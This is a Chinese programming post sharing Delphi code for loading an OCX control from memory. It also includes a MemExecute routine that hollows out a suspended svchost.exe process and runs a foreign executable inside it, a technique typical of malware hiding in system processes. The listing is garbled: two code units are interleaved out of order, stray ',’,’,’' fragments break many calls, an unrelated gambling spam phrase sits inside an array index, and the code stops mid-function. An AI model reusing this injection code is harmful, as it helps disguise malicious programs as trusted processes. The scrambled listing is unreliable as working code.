delphi内存调用OCX

unit PE;
interface
uses windows;

delphi内存调用OCX

function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var
ProcessId: Cardinal): Cardinal;
implementation
type
TImageSectionHeaders = array[0..0] of TImageSectionHeader;
PImageSectionHeaders = ^TImageSectionHeaders;
{ 计算对齐后的大小 }

本来想做一个内存运行SWF的程序
在网上大肆搜索一番发现这类的代码很少VC的记得有一个不过不提供源代码的,delphi的几乎是没有的,借鉴网络上的不注册直接调用OCX
对以下程序 小幅度的修改实现内存调用OCX 函数 实验证明
效果还好,下面贴出代码

function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal;
begin
result := (Origin + Alignment – 1) div Alignment * Alignment;
end;

//修改后的微软自带的脚本msscript.ocx控件接口

{
计算加载pe并对齐需要占用多少内存,未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0
}

const
Class_MSScriptControl:TGUID='{0E59F1D5-1FBE-11D0-8FF2-00A0D10038BC}’;
Initialized = 0;
Connected = 1;

function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal;
peH: PImageNtHeaders;
peSecH: PImageSectionHeaders): Cardinal;
var
i: Integer;
begin
{计算pe头的大小}
result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders,
PeH.OptionalHeader.SectionAlignment,’,’,’);

type
ScriptControlStates = TOleEnum;
IScriptControl = interface(IDispatch)
[‘{0E59F1D3-1FBE-11D0-8FF2-00A0D10038BC}’]
function Get_Language: WideString; safecall;
procedure Set_Language(const Value: WideString); safecall;
function Get_State: ScriptControlStates; safecall;
procedure Set_State(Value: ScriptControlStates); safecall;
procedure Set_SitehWnd(Value: Integer); safecall;
function Get_SitehWnd: Integer; safecall;
function Get_Timeout: Integer; safecall;
procedure Set_Timeout(Value: Integer); safecall;
function Get_AllowUI: WordBool; safecall;
procedure Set_AllowUI(Value: WordBool); safecall;
function Get_UseSafeSubset: WordBool; safecall;
procedure Set_UseSafeSubset(Value: WordBool); safecall;
function Get_Modules: IInterface; safecall;
function Get_Error: IInterface; safecall;
function Get_CodeObject: IDispatch; safecall;
function Get_Procedures: IInterface; safecall;
procedure AboutBox; safecall;
procedure AddObject(const Name: WideString; Object_: IDispatch;
AddMembers: WordBool); safecall;
procedure Reset; safecall;
procedure AddCode(const Code: WideString); safecall;
function Eval(const Expression: WideString): OleVariant; safecall;
procedure ExecuteStatement(const Statement: WideString); safecall;
function Run(const ProcedureName: WideString; var Parameters:
PSafeArray): OleVariant; safecall;
property Language: WideString read Get_Language write Set_Language;
property State: ScriptControlStates read Get_State write Set_State;
property SitehWnd: Integer read Get_SitehWnd write Set_SitehWnd;
property Timeout: Integer read Get_Timeout write Set_Timeout;
property AllowUI: WordBool read Get_AllowUI write Set_AllowUI;
property UseSafeSubset: WordBool read Get_UseSafeSubset write
Set_UseSafeSubset;
property Modules: IInterface read Get_Modules;
property Error: IInterface read Get_Error;
property CodeObject: IDispatch read Get_CodeObject;
property Procedures: IInterface read Get_Procedures;
end;

{计算所有节的大小}
for i := 0 to peH.FileHeader.NumberOfSections – 1 do
if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen
then // 超出文件范围
begin
result := 0;
exit;
end
else if peSecH[i].VirtualAddress <> 0 then
//计算对齐后某节的大小
if peSecH[i].Misc.VirtualSize <> 0 then
result := GetAlignedSize(peSecH[澳门新葡亰手机版,i].VirtualAddress +
peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)
else
result := GetAlignedSize(peSecH[i].VirtualAddress +
peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)
else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData
then
result := result + GetAlignedSize(peSecH[i].SizeOfRawData,
peH.OptionalHeader.SectionAlignment)
else
result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize,
PeH.OptionalHeader.SectionAlignment,’,’,’);
end;

//主要实现内容 也比较简单

{ 加载pe到内存并对齐所有节 }

procedure TForm1.Button1Click(Sender: TObject);
var
MemoryFile:TMemoryStream;
hMemDll:TMemDll;
xDllGetClassObject:function(const CLSID,IID:TGUID; var
Obj):HResult;stdcall;
vClassFactory: IClassFactory;
vScriptControl: IScriptControl;
begin
MemoryFile:=TMemoryStream.Create;
try
MemoryFile.LoadFromFile(‘myscript.ocx’);
hMemDll:=xLoadLibrary(MemoryFile.Memory);
@xDllGetClassObject:=xGetProcAddress(hMemDll,’DllGetClassObject’);
xDllGetClassObject(Class_MSScriptControl, IClassFactory,
vClassFactory);
if Assigned(vClassFactory) then
begin
vClassFactory.CreateInstance(nil, IScriptControl, vScriptControl);
if Assigned(vScriptControl) then
begin
vScriptControl.AboutBox;
vScriptControl := nil;
end;
vClassFactory := nil;
end;
finally
MemoryFile.Free;
end;
end;

function AlignPEToMem(const Buf; Len: Integer; var PeH:
PImageNtHeaders;
var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize:
Cardinal): Boolean;
var
SrcMz: PImageDosHeader; // DOS头
SrcPeH: PImageNtHeaders; // PE头
SrcPeSecH: PImageSectionHeaders; // 节表
i: Integer;
l: Cardinal;
Pt: Pointer;
begin
result := false;
SrcMz := @Buf;
if Len < sizeof(TImageDosHeader) then exit;
if SrcMz.e_magic <> IMAGE_DOS_SIGNATURE then exit;
if Len < SrcMz._lfanew + Sizeof(TImageNtHeaders) then exit;
SrcPeH := pointer(Integer(SrcMz) + SrcMz._lfanew,’,’,’);
if (SrcPeH.Signature <> IMAGE_NT_SIGNATURE) then exit;
if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL <> 0)
or
(SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE =
0)
or (SrcPeH.FileHeader.SizeOfOptionalHeader <>
SizeOf(TImageOptionalHeader)) then exit;
SrcPeSecH := Pointer(Integer(SrcPeH) + SizeOf(TImageNtHeaders),’,’,’);
ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH,’,’,’);
if ImageSize = 0 then
exit;
Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT,
PAGE_EXECUTE_READWRITE,’,’,’); // 分配内存
if Mem <> nil then
begin
// 计算需要复制的PE头字节数
l := SrcPeH.OptionalHeader.SizeOfHeaders;
for i := 0 to SrcPeH.FileHeader.NumberOfSections – 1 do
if (SrcPeSecH[i].PointerToRawData <> 0) and
(SrcPeSecH[i].PointerToRawData < l) then
l := SrcPeSecH[i].PointerToRawData;
Move(SrcMz^, Mem^, l,’,’,’);
PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew,’,’,’);
PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders),’,’,’);
Pt := Pointer(Cardinal(Mem) +
GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders,
PeH.OptionalHeader.SectionAlignment),’,’,’);
for i := 0 to PeH.FileHeader.NumberOfSections – 1 do
begin
// 定位该节在内存中的位置
if PeSecH[i].VirtualAddress <> 0 then
Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress,’,’,’);
if PeSecH[i].SizeOfRawData <> 0 then
begin
// 复制数据到内存
Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^,
PeSecH[i].SizeOfRawData,’,’,’);
if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then
pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData,
PeH.OptionalHeader.SectionAlignment))
else
pt := pointer(Cardinal(pt) +
GetAlignedSize(peSecH[i].Misc.VirtualSize,
peH.OptionalHeader.SectionAlignment),’,’,’);
// pt 定位到下一节开始位置
end
else
pt := pointer(Cardinal(pt) +
GetAlignedSize(PeSecH[i].Misc.VirtualSize,
PeH.OptionalHeader.SectionAlignment),’,’,’);
end;
result := True;
end;
end;

//内存运行DLL单元

type
TVirtualAllocEx = function(hProcess: THandle; lpAddress: Pointer;
dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;

unit untMemDll;

var
MyVirtualAllocEx: TVirtualAllocEx = nil;

{$DEFINE DEBUG}

function IsNT: Boolean;
begin
result := Assigned(MyVirtualAllocEx,’,’,’);
end;

interface

{ 生成外壳程序命令行 }
function PrepareShellExe(CmdParam: string ): string;
begin
{这里的路径 自己定义了^_^,仅仅是外壳程序}
//result:=’c:Program FilesInternet Exploreriexplore.exe’+CmdParam
;
result := ‘c:windowssystem32svchost.exe’ + cmdparam;

uses
Windows;

end;

type
TMemDll = record
Headers: PImageNtHeaders;
lpCodebase: Pointer;
Modules: Pointer;
NumModules: integer;
initialized: boolean;
end;

{ 是否包含可重定向列表 }
function HasRelocationTable(peH: PImageNtHeaders): Boolean;
begin
result :=
(peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
<> 0)
and
(peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size
<> 0,’,’,’);
end;

function xLoadLibrary(ModuleAddress: Pointer): TMemDll;
function xGetProcAddress(MemDll: TMemDll; lpstrName: PChar): Pointer;
procedure xFreeLibrary(var MemDll: TMemDll);

type
PImageBaseRelocation = ^TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: cardinal;
SizeOfBlock: cardinal;
end;

implementation

{ 重定向PE用到的地址 }
procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase:
Pointer,’,’,’);
var
Delta: Cardinal;
p: PImageBaseRelocation;
pw: PWord;
i: Integer;
begin
Delta := Cardinal(NewBase) – peH.OptionalHeader.ImageBase;
p := pointer(cardinal(OldBase) +
peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,’,’,’);
while (p.VirtualAddress + p.SizeOfBlock <> 0) do
begin
pw := pointer(Integer(p) + Sizeof(p^),’,’,’);
for i := 1 to (p.SizeOfBlock – Sizeof(p^)) div 2 do
begin
if pw^ and $F000 = $3000 then
Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^,
Delta,’,’,’);
inc(pw,’,’,’);
end;
p := Pointer(pw,’,’,’);
end;
end;

uses SysUtils;

type
TZwUnmapViewOfSection = function(Handle, BaseAdr: Cardinal): Cardinal;
stdcall;

procedure DebugOutput(S: string);
begin
{$IFDEF DEBUG}
MessageBox(0, PChar(S), ‘Error’, 0);
{$ENDIF}
end;

{ 卸载原外壳占用内存 }
function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean;
var
M: HModule;
ZwUnmapViewOfSection: TZwUnmapViewOfSection;
begin
result := False;
m := LoadLibrary(‘ntdll.dll’,’,’,’);
if m <> 0 then
begin
ZwUnmapViewOfSection := GetProcAddress(m,
‘ZwUnmapViewOfSection’,’,’,’);
if assigned(ZwUnmapViewOfSection) then
result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0,’,’,’);
FreeLibrary(m,’,’,’);
end;
end;

function FieldOffset(const Struc; const Field): Cardinal;
begin
Result := Cardinal(@Field) – Cardinal(@Struc);
end;

{ 创建外壳进程并获取其基址、大小和当前运行状态 }
function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd,
ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean;
var
si: TStartUpInfo;
pi: TProcessInformation;
Old: Cardinal;
MemInfo: TMemoryBasicInformation;
p: Pointer;
begin
FillChar(si, Sizeof(si), 0,’,’,’);
FillChar(pi, SizeOf(pi), 0,’,’,’);
si.cb := sizeof(si,’,’,’);
result := CreateProcess(nil, PChar(Cmd), nil, nil, False,
CREATE_SUSPENDED, nil, nil, si, pi,’,’,’); // 以挂起方式运行进程
if result then
begin
ProcHnd := pi.hProcess;
ThrdHnd := pi.hThread;
ProcId := pi.dwProcessId;

// replacement of IMAGE_FIRST_SECTION macro
function GetImageFirstSection(NtHeader: PImageNtHeaders):
PImageSectionHeader;
begin
Result := PImageSectionHeader(Cardinal(NtHeader) +
FieldOffset(NtHeader^, NtHeader^.OptionalHeader) +
NtHeader^.FileHeader.SizeOfOptionalHeader);
end;

{
获取外壳进程运行状态,[ctx.Ebx+8]内存处存的是外壳进程的加载基址,ctx.Eax存放有外壳进程的入口地址
}
ctx.ContextFlags := CONTEXT_FULL;
GetThreadContext(ThrdHnd, ctx,’,’,’);
ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx + 8), @BaseAddr,
SizeOf(Cardinal), Old,’,’,’); // 读取加载基址
p := Pointer(BaseAddr,’,’,’);

// replacement of GET_HEADER_DICTIONARY macro
function GetHeaderDictionary(MemDll: TMemDll; idx: DWORD):
PImageDataDirectory;
begin
Result := @MemDll.Headers.OptionalHeader.DataDirectory[idx];
end;

{ 计算外壳进程占有的内存 }
while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) <> 0
do
begin
if MemInfo.State = MEM_FREE then
break;
p := Pointer(Cardinal(p) + MemInfo.RegionSize,’,’,’);
end;
ImageSize := Cardinal(p) – Cardinal(BaseAddr,’,’,’);
end;
end;

// replacement of IMAGE_ORDINAL macro
function GetImageOrdinal(Ordinal: DWORD): Word;
begin
Result := Ordinal and $FFFF;
end;

{ 创建外壳进程并用目标进程替换它然后执行 }
function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH:
PImageSectionHeaders;
Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal;
var
s: string;
Addr, Size: Cardinal;
ctx: TContext;
Old: Cardinal;
p: Pointer;
Thrd: Cardinal;
begin
result := INVALID_HANDLE_VALUE;
s := PrepareShellExe(CmdParam + ‘ ‘ {, peH.OptionalHeader.ImageBase,
ImageSize},’,’,’);
if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then
begin
p := nil;
if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then
// 外壳进程可以容纳目标进程并且加载地址一致
begin
p := Pointer(Addr,’,’,’);
VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE,
Old,’,’,’);
end
else if IsNT then // 98 下失败
begin
if UnloadShell(result, Addr) then // 卸载外壳进程占有内存
// 重新按目标进程加载基址和大小分配内存
p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase),
ImageSize, MEM_RESERVE or MEM_COMMIT,
PAGE_EXECUTE_READWRITE,’,’,’);
if (p = nil) and hasRelocationTable(peH) then //
分配内存失败并且目标进程支持重定向
begin
// 按任意基址分配内存
p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or
MEM_COMMIT, PAGE_EXECUTE_READWRITE,’,’,’);
if p <> nil then
DoRelocation(peH, Ptr, p,’,’,’); // 重定向
end;
end;
if p <> nil then
begin
WriteProcessMemory(Result, Pointer(ctx.Ebx + 8), @p, Sizeof(DWORD),
Old,’,’,’); // 重置目标进程运行环境中的基址
peH.OptionalHeader.ImageBase := Cardinal(p,’,’,’);
if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then //
复制PE数据到目标进程
begin
ctx.ContextFlags := CONTEXT_FULL;
if Cardinal(p) = Addr then
ctx.Eax := peH.OptionalHeader.ImageBase +
peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境中的入口地址
else
ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(Thrd, ctx,’,’,’); // 更新运行环境
ResumeThread(Thrd,’,’,’); // 执行
CloseHandle(Thrd,’,’,’);
end
else begin // 加载失败,杀掉外壳进程
TerminateProcess(Result, 0,’,’,’);
CloseHandle(Thrd,’,’,’);
CloseHandle(Result,’,’,’);
Result := INVALID_HANDLE_VALUE;
end;
end
else begin // 加载失败,杀掉外壳进程
TerminateProcess(Result, 0,’,’,’);
CloseHandle(Thrd,’,’,’);
CloseHandle(Result,’,’,’);
Result := INVALID_HANDLE_VALUE;
end;
end;
end;

// replacement of IMAGE_SNAP_BY_ORDINAL macro
function GetImageSnapByOrdinal(Ordinal: DWORD): Boolean;
begin
Result := (Ordinal and $80000000) <> 0;
end;

function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var
ProcessId: Cardinal): Cardinal;
var
peH: PImageNtHeaders;
peSecH: PImageSectionHeaders;
Ptr: Pointer;
peSz: Cardinal;
begin
result := INVALID_HANDLE_VALUE;